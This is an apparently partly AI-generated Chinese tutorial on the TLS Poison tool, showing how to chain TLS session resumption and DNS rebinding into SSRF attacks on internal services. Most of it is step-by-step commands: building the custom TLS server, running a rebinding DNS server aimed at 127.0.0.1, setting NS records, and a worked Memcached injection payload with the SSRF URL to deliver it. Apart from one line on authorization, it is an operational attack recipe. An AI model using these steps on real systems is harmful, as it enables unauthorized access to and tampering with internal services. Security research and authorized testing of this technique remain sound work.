终极指南:如何使用TLS Poison实现通用TLS SSRF攻击

终极指南:如何使用TLS Poison实现通用TLS SSRF攻击

【免费下载链接】TLS-poison项目地址: https://gitcode.com/gh_mirrors/tl/TLS-poison

TLS Poison是一款强大的工具,它允许通过TLS实现通用的SSRF攻击,以及在大多数浏览器中通过图像标签实现CSRF攻击。其目标与SNI注入类似,但这种新方法利用了TLS的固有行为,而非依赖特定实现中的漏洞。

🚀 什么是TLS Poison?

TLS Poison最初在Blackhat USA 2020和DEF CON Safemode上被提出,它主要基于rustls和dns-mitm项目开发,通过TLS会话持久性来实现攻击。

💡 攻击原理

TLS Poison的核心原理是利用TLS的会话持久性和DNS重绑定技术。当目标系统发起HTTPS请求时,TLS Poison会先建立一个正常的TLS连接,然后通过DNS重绑定将域名解析到内部服务,同时复用之前建立的TLS会话,从而将恶意 payload 发送到内部服务。

📋 准备工作

在开始使用TLS Poison之前,你需要准备以下环境:

  • 一个可以设置NS记录的域名
  • 两台公共服务器(分别用于TLS服务器和DNS重绑定服务器)
  • 基本的Linux命令行操作能力

🔧 安装步骤

1. 克隆仓库

首先,克隆TLS Poison仓库到你的服务器:

git clone https://link.gitcode.com/i/c027f894212a1861ac69affcc460acca.git

2. 部署TLS服务器

TLS服务器需要部署在公共网络上,最终DNS重绑定服务器会将域名解析到这里。

# 安装依赖 sudo apt install git redis # 安装Rust curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh cd TLS-poison/client-hello-poisoning/custom-tls # 编译 cargo build # 测试服务器 target/debug/custom-tls -p 8443 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rsa http

在另一个终端中验证设置:

curl -kv https://localhost:8443

3. 部署DNS重绑定服务器

DNS重绑定服务器也需要部署在公共网络上,建议与TLS服务器分开部署。

sudo apt install python3 python3-pip cd TLS-poison/client-hello-poisoning/custom-dns pip3 install -r requirements.txt # 启动DNS重绑定服务器 # $DOMAIN: 你拥有的域名 # $TARGET_IP: 目标内部服务IP,通常是127.0.0.1 # $INITIAL_IP: TLS服务器的IP sudo python3 alternate-dns.py $DOMAIN,$TARGET_IP -b 0.0.0.0 -t $INITIAL_IP -d 8.8.8.8

如果遇到"OSError: address already in use"错误,可以停止systemd-resolved服务:

sudo systemctl stop systemd-resolved

验证DNS重绑定是否正常工作:

dig @localhost $DOMAIN

4. 设置NS记录和证书

你需要设置NS记录和胶水记录,使DNS请求指向你的重绑定服务器。例如,如果你的域是example.com,应添加:

dns.example.com A 300 <DNS_IP> tlstest.example.com NS 300 dns.example.com

然后获取TLS证书:

# 使用certbot获取证书 # 参考certbot DNS instructions完成DNS挑战 # 重新启动TLS服务器 target/debug/custom-tls -p 8443 --verbose --certs letsencrypt-cert.fullchain --key letsencrypt-key.rsa http

🎯 实施攻击

针对Memcached的攻击示例

  1. 设置攻击 payload:
redis-cli 127.0.0.1:6379> set payload "\r\nset foo 0 0 14\r\nim in ur cache \r" Ctrl+c
  1. 启动TLS服务器,监听Memcached端口(11211):
target/debug/custom-tls -p 11211 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rsa http
  1. 使用以下URL作为SSRF payload:
https://tlstest.example.com:11211

⚠️ 注意事项

  • 攻击前确保获得合法授权
  • 不同软件对TLS会话持久性的处理不同,可能需要调整sleep参数
  • 对于Chrome等浏览器,sleep时间可能需要设置得较短
  • 如果遇到重定向次数限制,可以增加sleep时间至59000ms或更长

📚 相关资源

  • 项目源码:TLS-poison
  • TLS服务器代码:client-hello-poisoning/custom-tls/src/main.rs
  • DNS重绑定服务器代码:client-hello-poisoning/custom-dns/alternate-dns.py

通过本指南,你应该能够理解并使用TLS Poison工具来实现通用的TLS SSRF攻击。记住,网络安全工具应仅用于合法的安全测试和研究目的。

【免费下载链接】TLS-poison项目地址: https://gitcode.com/gh_mirrors/tl/TLS-poison

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考